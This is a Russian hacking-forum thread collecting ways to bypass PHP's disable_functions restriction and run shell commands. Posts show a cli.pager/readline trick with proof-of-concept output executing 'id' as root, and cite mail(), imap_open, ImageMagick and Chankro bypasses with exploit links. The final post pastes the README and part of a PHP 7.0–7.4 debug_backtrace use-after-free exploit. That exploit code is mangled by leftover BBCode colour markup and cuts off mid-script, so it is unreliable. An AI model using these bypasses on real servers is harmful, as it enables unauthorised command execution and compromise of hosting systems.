Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   База Знаний (https://forum.antichat.xyz/forumdisplay.php?f=210)
-   -   Обход disable_functions (https://forum.antichat.xyz/showthread.php?t=470018)

l1ght 13.04.2019 20:39

Обход disable_functions в php-cli

Имеем штатный набор php.ini

Код:

Code:
disable_functions=exec,passthru,shell_exec,system,proc_open..i.t.d

который обламывает выполнение команд

system('id');

Код:

Code:
PHP Warning:  system() has been disabled for security reasons in /home/root2/backtrick/test.php on line 2

нашел альтернативу здесь:

https://github.com/php/php-src/blob/...readline_cli.c

Код:

Code:
/*
  +----------------------------------------------------------------------+
  | PHP Version 7                                                        |
  +----------------------------------------------------------------------+
  | Copyright (c) The PHP Group                                          |
  +----------------------------------------------------------------------+
  | This source file is subject to version 3.01 of the PHP license,      |
  | that is bundled with this package in the file LICENSE, and is        |
  | available through the world-wide-web at the following url:          |
  | http://www.php.net/license/3_01.txt                                  |
  | If you did not receive a copy of the PHP license and are unable to  |
  | obtain it through the world-wide-web, please send a note to          |
  | license@php.net so we can mail you a copy immediately.              |
  +----------------------------------------------------------------------+
  | Author: Marcus Boerger                                |
  |        Johannes Schlueter                        |
  +----------------------------------------------------------------------+
*/

#ifdef HAVE_CONFIG_H
#include "config.h"
#endif

#include "php.h"

#ifndef HAVE_RL_COMPLETION_MATCHES
#define rl_completion_matches completion_matches
#endif

#include "php_globals.h"
#include "php_variables.h"
#include "zend_hash.h"
#include "zend_modules.h"

#include "SAPI.h"
#include
#include "zend.h"
#include "zend_extensions.h"
#include "php_ini.h"
#include "php_globals.h"
#include "php_main.h"
#include "fopen_wrappers.h"
#include "ext/standard/php_standard.h"
#include "zend_smart_str.h"

#ifdef __riscos__
#include
#endif

#if HAVE_LIBEDIT
#include
#else
#include
#include
#endif

#include "zend_compile.h"
#include "zend_execute.h"
#include "zend_highlight.h"
#include "zend_exceptions.h"

#include "sapi/cli/cli.h"
#include "readline_cli.h"

#if defined(COMPILE_DL_READLINE) && !defined(PHP_WIN32)
#include
#endif

#ifndef RTLD_DEFAULT
#define RTLD_DEFAULT NULL
#endif

#define DEFAULT_PROMPT "\\b \\> "

ZEND_DECLARE_MODULE_GLOBALS(cli_readline);

static char php_last_char = '\0';
static FILE *pager_pipe = NULL;

static size_t readline_shell_write(const char *str, size_t str_length) /* {{{ */
{
  if (CLIR_G(prompt_str)) {
      smart_str_appendl(CLIR_G(prompt_str), str, str_length);
      return str_length;
  }

  if (CLIR_G(pager) && *CLIR_G(pager) && !pager_pipe) {
      pager_pipe = VCWD_POPEN(CLIR_G(pager), "w");
  }
  if (pager_pipe) {
      return fwrite(str, 1, MIN(str_length, 16384), pager_pipe);
  }

  return -1;
}
/* }}} */

static size_t readline_shell_ub_write(const char *str, size_t str_length) /* {{{ */
{
  /* We just store the last char here and then pass back to the
      caller (sapi_cli_single_write in sapi/cli) which will actually
      write due to -1 return code */
  php_last_char = str[str_length-1];

  return (size_t) -1;
}
/* }}} */

static void cli_readline_init_globals(zend_cli_readline_globals *rg)
{
  rg->pager = NULL;
  rg->prompt = NULL;
  rg->prompt_str = NULL;
}

PHP_INI_BEGIN()
  STD_PHP_INI_ENTRY("cli.pager", "", PHP_INI_ALL, OnUpdateString, pager, zend_cli_readline_globals, cli_readline_globals)
  STD_PHP_INI_ENTRY("cli.prompt", DEFAULT_PROMPT, PHP_INI_ALL, OnUpdateString, prompt, zend_cli_readline_globals, cli_readline_globals)
PHP_INI_END()

typedef enum {
  body,
  sstring,
  dstring,
  sstring_esc,
  dstring_esc,
  comment_line,
  comment_block,
  heredoc_start,
  heredoc,
  outside,
} php_code_type;

static zend_string *cli_get_prompt(char *block, char prompt) /* {{{ */
{
  smart_str retval = {0};
  char *prompt_spec = CLIR_G(prompt) ? CLIR_G(prompt) : DEFAULT_PROMPT;

  do {
      if (*prompt_spec == '\\') {
          switch (prompt_spec[1]) {
          case '\\':
              smart_str_appendc(&retval, '\\');
              prompt_spec++;
              break;
          case 'n':
              smart_str_appendc(&retval, '\n');
              prompt_spec++;
              break;
          case 't':
              smart_str_appendc(&retval, '\t');
              prompt_spec++;
              break;
          case 'e':
              smart_str_appendc(&retval, '\033');
              prompt_spec++;
              break;

          case 'v':
              smart_str_appends(&retval, PHP_VERSION);
              prompt_spec++;
              break;
          case 'b':
              smart_str_appends(&retval, block);
              prompt_spec++;
              break;
          case '>':
              smart_str_appendc(&retval, prompt);
              prompt_spec++;
              break;
          case '`':
              smart_str_appendc(&retval, '`');
              prompt_spec++;
              break;
          default:
              smart_str_appendc(&retval, '\\');
              break;
          }
      } else if (*prompt_spec == '`') {
          char *prompt_end = strstr(prompt_spec + 1, "`");
          char *code;

          if (prompt_end) {
              code = estrndup(prompt_spec + 1, prompt_end - prompt_spec - 1);

              CLIR_G(prompt_str) = &retval;
              zend_try {
                  zend_eval_stringl(code, prompt_end - prompt_spec - 1, NULL, "php prompt code");
              } zend_end_try();
              CLIR_G(prompt_str) = NULL;
              efree(code);
              prompt_spec = prompt_end;
          }
      } else {
          smart_str_appendc(&retval, *prompt_spec);
      }
  } while (++prompt_spec && *prompt_spec);
  smart_str_0(&retval);
  return retval.s;
}
/* }}} */

static int cli_is_valid_code(char *code, size_t len, zend_string **prompt) /* {{{ */
{
  int valid_end = 1, last_valid_end;
  int brackets_count = 0;
  int brace_count = 0;
  size_t i;
  php_code_type code_type = body;
  char *heredoc_tag = NULL;
  size_t heredoc_len;

  for (i = 0; i  0) {
                          brackets_count--;
                      }
                      valid_end = brackets_count ? 0 : 1;
                      break;
                  case '(':
                      brace_count++;
                      valid_end = 0;
                      break;
                  case ')':
                      if (brace_count > 0) {
                          brace_count--;
                      }
                      valid_end = 0;
                      break;
                  case ';':
                      valid_end = brace_count == 0 && brackets_count == 0;
                      break;
                  case ' ':
                  case '\r':
                  case '\n':
                  case '\t':
                      break;
                  case '\'':
                      code_type = sstring;
                      break;
                  case '"':
                      code_type = dstring;
                      break;
                  case '#':
                      code_type = comment_line;
                      break;
                  case '/':
                      if (code[i+1] == '/') {
                          i++;
                          code_type = comment_line;
                          break;
                      }
                      if (code[i+1] == '*') {
                          last_valid_end = valid_end;
                          valid_end = 0;
                          code_type = comment_block;
                          i++;
                          break;
                      }
                      valid_end = 0;
                      break;
                  case '?':
                      if (code[i+1] == '>') {
                          i++;
                          code_type = outside;
                          break;
                      }
                      valid_end = 0;
                      break;
                  case ' 3 && !strncmp(code+i-4, "');
          }
          break;
      case sstring:
      case sstring_esc:
          *prompt = cli_get_prompt("php", '\'');
          break;
      case dstring:
      case dstring_esc:
          *prompt = cli_get_prompt("php", '"');
          break;
      case comment_block:
          *prompt = cli_get_prompt("/* ", '>');
          break;
      case heredoc:
          *prompt = cli_get_prompt("');
          break;
      case outside:
          *prompt = cli_get_prompt("  ", '>');
          break;
  }

  if (!valid_end || brackets_count) {
      return 0;
  } else {
      return 1;
  }
}
/* }}} */

static char *cli_completion_generator_ht(const char *text, size_t textlen, int *state, HashTable *ht, void **pData) /* {{{ */
{
  zend_string *name;
  zend_ulong number;

  if (!(*state % 2)) {
      zend_hash_internal_pointer_reset(ht);
      (*state)++;
  }
  while(zend_hash_has_more_elements(ht) == SUCCESS) {
      zend_hash_get_current_key(ht, &name, &number);
      if (!textlen || !strncmp(ZSTR_VAL(name), text, textlen)) {
          if (pData) {
              *pData = zend_hash_get_current_data_ptr(ht);
          }
          zend_hash_move_forward(ht);
          return ZSTR_VAL(name);
      }
      if (zend_hash_move_forward(ht) == FAILURE) {
          break;
      }
  }
  (*state)++;
  return NULL;
} /* }}} */

static char *cli_completion_generator_var(const char *text, size_t textlen, int *state) /* {{{ */
{
  char *retval, *tmp;
  zend_array *symbol_table = &EG(symbol_table);

  tmp = retval = cli_completion_generator_ht(text + 1, textlen - 1, state, symbol_table, NULL);
  if (retval) {
      retval = malloc(strlen(tmp) + 2);
      retval[0] = '$';
      strcpy(&retval[1], tmp);
      rl_completion_append_character = '\0';
  }
  return retval;
} /* }}} */

static char *cli_completion_generator_ini(const char *text, size_t textlen, int *state) /* {{{ */
{
  char *retval, *tmp;

  tmp = retval = cli_completion_generator_ht(text + 1, textlen - 1, state, EG(ini_directives), NULL);
  if (retval) {
      retval = malloc(strlen(tmp) + 2);
      retval[0] = '#';
      strcpy(&retval[1], tmp);
      rl_completion_append_character = '=';
  }
  return retval;
} /* }}} */

static char *cli_completion_generator_func(const char *text, size_t textlen, int *state, HashTable *ht) /* {{{ */
{
  zend_function *func;
  char *retval = cli_completion_generator_ht(text, textlen, state, ht, (void**)&func);
  if (retval) {
      rl_completion_append_character = '(';
      retval = strdup(ZSTR_VAL(func->common.function_name));
  }

  return retval;
} /* }}} */

static char *cli_completion_generator_class(const char *text, size_t textlen, int *state) /* {{{ */
{
  zend_class_entry *ce;
  char *retval = cli_completion_generator_ht(text, textlen, state, EG(class_table), (void**)&ce);
  if (retval) {
      rl_completion_append_character = '\0';
      retval = strdup(ZSTR_VAL(ce->name));
  }

  return retval;
} /* }}} */

static char *cli_completion_generator_define(const char *text, size_t textlen, int *state, HashTable *ht) /* {{{ */
{
  zend_class_entry **pce;
  char *retval = cli_completion_generator_ht(text, textlen, state, ht, (void**)&pce);
  if (retval) {
      rl_completion_append_character = '\0';
      retval = strdup(retval);
  }

  return retval;
} /* }}} */

static int cli_completion_state;

static char *cli_completion_generator(const char *text, int index) /* {{{ */
{
/*
TODO:
- constants
- maybe array keys
- language constructs and other things outside a hashtable (echo, try, function, class, ...)
- object/class members

- future: respect scope ("php > function foo() { $[tab]" should only expand to local variables...)
*/
  char *retval = NULL;
  size_t textlen = strlen(text);

  if (!index) {
      cli_completion_state = 0;
  }
  if (text[0] == '$') {
      retval = cli_completion_generator_var(text, textlen, &cli_completion_state);
  } else if (text[0] == '#') {
      retval = cli_completion_generator_ini(text, textlen, &cli_completion_state);
  } else {
      char *lc_text, *class_name_end;
      zend_string *class_name = NULL;
      zend_class_entry *ce = NULL;

      class_name_end = strstr(text, "::");
      if (class_name_end) {
          size_t class_name_len = class_name_end - text;
          class_name = zend_string_alloc(class_name_len, 0);
          zend_str_tolower_copy(ZSTR_VAL(class_name), text, class_name_len);
          if ((ce = zend_lookup_class(class_name)) == NULL) {
              zend_string_release_ex(class_name, 0);
              return NULL;
          }
          lc_text = zend_str_tolower_dup(class_name_end + 2, textlen - 2 - class_name_len);
          textlen -= (class_name_len + 2);
      } else {
          lc_text = zend_str_tolower_dup(text, textlen);
      }

      switch (cli_completion_state) {
          case 0:
          case 1:
              retval = cli_completion_generator_func(lc_text, textlen, &cli_completion_state, ce ? &ce->function_table : EG(function_table));
              if (retval) {
                  break;
              }
          case 2:
          case 3:
              retval = cli_completion_generator_define(text, textlen, &cli_completion_state, ce ? &ce->constants_table : EG(zend_constants));
              if (retval || ce) {
                  break;
              }
          case 4:
          case 5:
              retval = cli_completion_generator_class(lc_text, textlen, &cli_completion_state);
              break;
          default:
              break;
      }
      efree(lc_text);
      if (class_name) {
          zend_string_release_ex(class_name, 0);
      }
      if (ce && retval) {
          size_t len = ZSTR_LEN(ce->name) + 2 + strlen(retval) + 1;
          char *tmp = malloc(len);

          snprintf(tmp, len, "%s::%s", ZSTR_VAL(ce->name), retval);
          free(retval);
          retval = tmp;
      }
  }

  return retval;
} /* }}} */

static char **cli_code_completion(const char *text, int start, int end) /* {{{ */
{
  return rl_completion_matches(text, cli_completion_generator);
}
/* }}} */

static int readline_shell_run(void) /* {{{ */
{
  char *line;
  size_t size = 4096, pos = 0, len;
  char *code = emalloc(size);
  zend_string *prompt = cli_get_prompt("php", '>');
  char *history_file;
  int history_lines_to_write = 0;

  if (PG(auto_prepend_file) && PG(auto_prepend_file)[0]) {
      zend_file_handle *prepend_file_p;
      zend_file_handle prepend_file;

      memset(&prepend_file, 0, sizeof(prepend_file));
      prepend_file.filename = PG(auto_prepend_file);
      prepend_file.opened_path = NULL;
      prepend_file.free_filename = 0;
      prepend_file.type = ZEND_HANDLE_FILENAME;
      prepend_file_p = &prepend_file;

      zend_execute_scripts(ZEND_REQUIRE, NULL, 1, prepend_file_p);
  }

#ifndef PHP_WIN32
  history_file = tilde_expand("~/.php_history");
#else
  spprintf(&history_file, MAX_PATH, "%s/.php_history", getenv("USERPROFILE"));
#endif
  rl_attempted_completion_function = cli_code_completion;
#ifndef PHP_WIN32
  rl_special_prefixes = "$";
#endif
  read_history(history_file);

  EG(exit_status) = 0;
  while ((line = readline(ZSTR_VAL(prompt))) != NULL) {
      if (strcmp(line, "exit") == 0 || strcmp(line, "quit") == 0) {
          free(line);
          break;
      }

      if (!pos && !*line) {
          free(line);
          continue;
      }

      len = strlen(line);

      if (line[0] == '#') {
          char *param = strstr(&line[1], "=");
          if (param) {
              zend_string *cmd;
              param++;
              cmd = zend_string_init(&line[1], param - &line[1] - 1, 0);

              zend_alter_ini_entry_chars_ex(cmd, param, strlen(param), PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0);
              zend_string_release_ex(cmd, 0);
              add_history(line);

              zend_string_release_ex(prompt, 0);
              /* TODO: This might be wrong! */
              prompt = cli_get_prompt("php", '>');
              continue;
          }
      }

      if (pos + len + 2 > size) {
          size = pos + len + 2;
          code = erealloc(code, size);
      }
      memcpy(&code[pos], line, len);
      pos += len;
      code[pos] = '\n';
      code[++pos] = '\0';

      if (*line) {
          add_history(line);
          history_lines_to_write += 1;
      }

      free(line);
      zend_string_release_ex(prompt, 0);

      if (!cli_is_valid_code(code, pos, &prompt)) {
          continue;
      }

      if (history_lines_to_write) {
#if HAVE_LIBEDIT
          write_history(history_file);
#else
          append_history(history_lines_to_write, history_file);
#endif
          history_lines_to_write = 0;
      }

      zend_try {
          zend_eval_stringl(code, pos, NULL, "php shell code");
      } zend_end_try();

      pos = 0;

      if (!pager_pipe && php_last_char != '\0' && php_last_char != '\n') {
          php_write("\n", 1);
      }

      if (EG(exception)) {
          zend_exception_error(EG(exception), E_WARNING);
      }

      if (pager_pipe) {
          fclose(pager_pipe);
          pager_pipe = NULL;
      }

      php_last_char = '\0';
  }
#ifdef PHP_WIN32
  efree(history_file);
#else
  free(history_file);
#endif
  efree(code);
  zend_string_release_ex(prompt, 0);
  return EG(exit_status);
}
/* }}} */

#ifdef PHP_WIN32
typedef cli_shell_callbacks_t *(__cdecl *get_cli_shell_callbacks)(void);
#define GET_SHELL_CB(cb) \
  do { \
      get_cli_shell_callbacks get_callbacks; \
      HMODULE hMod = GetModuleHandle("php.exe"); \
      (cb) = NULL; \
      if (strlen(sapi_module.name) >= 3 && 0 == strncmp("cli", sapi_module.name, 3)) { \
          get_callbacks = (get_cli_shell_callbacks)GetProcAddress(hMod, "php_cli_get_shell_callbacks"); \
          if (get_callbacks) { \
              (cb) = get_callbacks(); \
          } \
      } \
  } while(0)

#else
/*
#ifdef COMPILE_DL_READLINE
This dlsym() is always used as even the CGI SAPI is linked against "CLI"-only
extensions. If that is being changed dlsym() should only be used when building
this extension sharedto offer compatibility.
*/
#define GET_SHELL_CB(cb) \
  do { \
      (cb) = NULL; \
      cli_shell_callbacks_t *(*get_callbacks)(); \
      get_callbacks = dlsym(RTLD_DEFAULT, "php_cli_get_shell_callbacks"); \
      if (get_callbacks) { \
          (cb) = get_callbacks(); \
      } \
  } while(0)
/*#else
#define GET_SHELL_CB(cb) (cb) = php_cli_get_shell_callbacks()
#endif*/
#endif

PHP_MINIT_FUNCTION(cli_readline)
{
  cli_shell_callbacks_t *cb;

  ZEND_INIT_MODULE_GLOBALS(cli_readline, cli_readline_init_globals, NULL);
  REGISTER_INI_ENTRIES();

#if HAVE_LIBEDIT
  REGISTER_STRING_CONSTANT("READLINE_LIB", "libedit", CONST_CS|CONST_PERSISTENT);
#else
  REGISTER_STRING_CONSTANT("READLINE_LIB", "readline", CONST_CS|CONST_PERSISTENT);
#endif

  GET_SHELL_CB(cb);
  if (cb) {
      cb->cli_shell_write = readline_shell_write;
      cb->cli_shell_ub_write = readline_shell_ub_write;
      cb->cli_shell_run = readline_shell_run;
  }

  return SUCCESS;
}

PHP_MSHUTDOWN_FUNCTION(cli_readline)
{
  cli_shell_callbacks_t *cb;

  UNREGISTER_INI_ENTRIES();

  GET_SHELL_CB(cb);
  if (cb) {
      cb->cli_shell_write = NULL;
      cb->cli_shell_ub_write = NULL;
      cb->cli_shell_run = NULL;
  }

  return SUCCESS;
}

PHP_MINFO_FUNCTION(cli_readline)
{
  php_info_print_table_start();
  php_info_print_table_header(2, "Readline Support", "enabled");
#ifdef PHP_WIN32
  php_info_print_table_row(2, "Readline library", "WinEditLine");
#else
  php_info_print_table_row(2, "Readline library", (rl_library_version ? rl_library_version : "Unknown"));
#endif
  php_info_print_table_end();

  DISPLAY_INI_ENTRIES();
}

нас интересует

Код:

Code:
static size_t readline_shell_write(const char *str, size_t str_length) /* {{{ */
{
  if (CLIR_G(prompt_str)) {
      smart_str_appendl(CLIR_G(prompt_str), str, str_length);
      return str_length;
  }

  if (CLIR_G(pager) && *CLIR_G(pager) && !pager_pipe) {
      pager_pipe = VCWD_POPEN(CLIR_G(pager), "w");
  }
  if (pager_pipe) {
      return fwrite(str, 1, MIN(str_length, 16384), pager_pipe);
  }

  return -1;
}

Код:

Code:
STD_PHP_INI_ENTRY("cli.pager", "", PHP_INI_ALL, OnUpdateString, pager, zend_cli_readline_globals, cli_readline_globals)

cli.pager - одна из дирректив readline

https://www.php.net/manual/ru/readli...figuration.php

poc:

[CODE]
Code:

Код:

Code:
PHP Warning:  system() has been disabled for security reasons in /home/root2/backtrick/test.php on line 2
system:Array
(
  [line_buffer] =>
  [point] => 0
  [end] => 0
  [library_version] => EditLine wrapper
  [readline_name] =>
  [attempted_completion_over] => 0
)
uid=0(root) gid=0(root) groups=0(root)
/home/root2/backtrick

php >=5.4.0

pas9x 14.04.2019 06:29

У функции mail() ещё есть пятый аргумент в котором указываются опции sendmail. С помощью этих опций тоже можно выполнить команду. Но тут всё зависит от реализации sendmail. На одном сервере она может предоставляться через postfix, на другом через exim. Сам этот метод ещё не пробовал, но видел статью в котором о нём рассказывается.

.SpoilerTarget" type="button">Spoiler: Оффтоп
Вообще через пятый аргумент mail() можно много чего наделать: https://www.saotn.org/exploit-phps-m...ode-execution/

winstrool 27.07.2019 10:24

Если собирать обходы, то думаю имеет смысл напомнить еще про функцию imap(), которую разобрал

crlf

/threads/463395/#post-4240723

https://github.com/Bo0oM/PHP_imap_op...er/exploit.php

VY_CMa 02.08.2019 16:31

https://github.com/l3m0n/Bypass_Disable_functions_Shell

grimnir 03.08.2019 19:48

https://0xdf.gitlab.io/2019/08/02/by...h-chankro.html

crlf 21.08.2019 23:37

ImageMagick /tmp/lol;"'[/COLOR]);
[/COLOR]
[/PHP]

crlf 31.01.2020 00:34

PHP 7.0-7.4 disable_functions bypass

https://github.com/mm0r1/exploits/tr...cktrace-bypass

.SpoilerTarget" type="button">Spoiler: README.md
PHP 7.0-7.4 disable_functions bypass

This exploit uses a two year old bug in debug_backtrace() function. We can trick it into returning a reference to a variable that has been destroyed, causing a use-after-free vulnerability. The PoC was tested on various php builds for Debian/Ubuntu/CentOS/FreeBSD with cli/fpm/apache2 server APIs and found to work reliably.

Targets
  • 7.0 - all versions to date
  • 7.1 - all versions to date
  • 7.2 - all versions to date
  • 7.3 - all versions to date
  • 7.4 - all versions to date

.SpoilerTarget" type="button">Spoiler: exploit.php

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$backtrace[/COLOR][COLOR="#007700"]= (new[/COLOR][COLOR="#0000BB"]Exception[/COLOR][COLOR="#007700"])->[/COLOR][COLOR="#0000BB"]getTrace[/COLOR][COLOR="#007700"]();[/COLOR][COLOR="#FF8000"]# ;)
[/COLOR][COLOR="#007700"]if(!isset([/COLOR][COLOR="#0000BB"]$backtrace[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'args'[/COLOR][COLOR="#007700"]])) {[/COLOR][COLOR="#FF8000"]# PHP >= 7.4
[/COLOR][COLOR="#0000BB"]$backtrace[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]debug_backtrace[/COLOR][COLOR="#007700"]();
}
}
}

class[/COLOR][COLOR="#0000BB"]Helper[/COLOR][COLOR="#007700"]{
public[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$b[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$d[/COLOR][COLOR="#007700"];
}

function[/COLOR][COLOR="#0000BB"]str2ptr[/COLOR][COLOR="#007700"](&[/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$address[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"]>=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"]--) {
[/
COLOR][COLOR="#0000BB"]$address[/COLOR][COLOR="#007700"]>=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"];
}
return[/COLOR][COLOR="#0000BB"]$out[/COLOR][COLOR="#007700"];
}

function[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"](&[/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$v[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$n[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]>=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"];
}
}

function[/COLOR][COLOR="#0000BB"]leak[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$addr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]) {
global[/COLOR][COLOR="#0000BB"]$abc[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$helper[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$abc[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x68[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$addr[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]0x10[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$leak[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$helper[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]) {[/COLOR][COLOR="#0000BB"]$leak[/COLOR][COLOR="#007700"]%=[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$leak[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]$base[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$leak[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]$base[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$arg[/COLOR][COLOR="#007700"];
}

if([/COLOR][COLOR="#0000BB"]stristr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]PHP_OS[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'WIN'[/COLOR][COLOR="#007700"])) {
die([/COLOR][COLOR="#DD0000"]'This PoC is for *nix systems only.'[/COLOR][COLOR="#007700"]);
}

[/
COLOR][COLOR="#0000BB"]$n_alloc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]# increase this value if UAF fails
[/COLOR][COLOR="#0000BB"]$contiguous[/COLOR][COLOR="#007700"]= [];
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]b[/COLOR][COLOR="#007700"]= function ([/COLOR][COLOR="#0000BB"]$x[/COLOR][COLOR="#007700"]) { };

if([/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$abc[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#0000BB"]79[/COLOR][COLOR="#007700"]||[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$abc[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) {
die([/COLOR][COLOR="#DD0000"]"UAF failed"[/COLOR][COLOR="#007700"]);
}

[/
COLOR][COLOR="#FF8000"]# leaks
[/COLOR][COLOR="#0000BB"]$closure_handlers[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str2ptr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$abc[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$php_heap[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str2ptr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$abc[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x58[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$abc_addr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$php_heap[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]0xc8[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#FF8000"]# fake value
[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$abc[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x60[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$abc[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x70[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]6[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]# fake reference
[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$abc[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x10[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$abc_addr[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]0x60[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$abc[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x18[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0xa[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$closure_obj[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str2ptr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$abc[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x20[/COLOR][COLOR="#007700"]);

[/
